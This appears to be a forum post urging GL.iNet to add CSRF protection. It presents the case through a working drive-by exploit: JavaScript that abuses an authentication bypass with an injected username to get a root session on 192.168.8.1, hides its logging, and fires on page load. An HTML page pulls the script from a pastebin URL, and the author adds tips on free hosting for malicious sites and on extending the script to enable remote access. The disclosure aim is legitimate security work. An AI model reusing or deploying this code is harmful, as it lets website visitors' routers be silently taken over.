Hi
I found this thread today and decided to test vulnerabilities myself
And then found something like:
https://github.com/0x1x02/GLiNet-Router-Auth-Bypass
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/glinet_unauth_rce_cve_2023_50445.rb
Then I converted them into JS:
Script
// Remove all console.log to hide from user
console.log = function() {};
// Hardcoded target URL
const TARGET_URL = 'http://192.168.8.1';
async function exploit() {
try {
// Disable SSL verification
const instance = axios.create({
httpsAgent: new (require('https').Agent)({
rejectUnauthorized: false
})
});
// Parse URL
const parsedUrl = new URL(TARGET_URL);
const targetUrl = `${parsedUrl.protocol}//${parsedUrl.host}/rpc`;
// Get nonce
const nonceResponse = await instance.post(targetUrl, {
jsonrpc: "2.0",
id: Math.floor(Math.random() * 9000) + 1000,
method: "challenge",
params: { username: "root" }
});
if (!nonceResponse.data?.result?.nonce) {
return;
}
// Generate MD5 hash
const md5Hash = crypto.createHash('md5');
md5Hash.update(`roo[^'union selecT char(114,111,111,116)--]:[^:]+:[^:]+:0:${nonceResponse.data.result.nonce}`);
const password = md5Hash.digest('hex');
// Login request
const tokenResponse = await instance.post(targetUrl, {
jsonrpc: "2.0",
id: Math.floor(Math.random() * 9000) + 1000,
method: "login",
params: {
username: "roo[^'union selecT char(114,111,111,116)--]:[^:]+:[^:]+",
hash: password
}
});
if (!tokenResponse.data?.result?.sid) {
return;
}
// Check authentication
const checkResponse = await instance.post(targetUrl, {
jsonrpc: "2.0",
id: Math.floor(Math.random() * 9000) + 1000,
method: "call",
params: [
tokenResponse.data.result.sid,
"system",
"get_status",
{}
]
});
if (checkResponse.data?.result?.wifi) {
return checkResponse.data.result.wifi;
}
} catch (error) {
return null;
}
}
// Execute immediately when loaded
document.addEventListener('DOMContentLoaded', async () => {
const result = await exploit();
});
Then i created primitivd script that can be embedded on any website to attack any GL routers with vulnerable version of firmware:
Final script
<!DOCTYPE html>
<html>
<head>
<title>GL.iNet Exploit</title>
<script src="https://cdn.jsdelivr.net/npm/axios@1.3.5/dist/axios.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js"></script>
<script src="https://pastebin.com/raw/ATBM3NCg" defer></script>
</head>
<body>
</body>
</html>
That's why I cannot stress enough, even if you think that possibility of CSRF is low, how can you guarantee that there will no new vulnerabilities like that to be able to just execute in browser?
I think you should immediately add CSRF protection because only it will prevent such attack.
Three lines of code. And if you ever supported CSRF token, this attack wouldn't not be possible.
GL team, please consider this as vulnerability and pass to security team!
I confirmed it worked! You can use infinityfree for example to create such malicious websiteso for free.
Yeah, unauthorized access vulnerability fixed in new version, but where we can have guarantee that there will no need such one?
To add to this script things like enabling DDNS and remote access is trivial task. So it is really big issue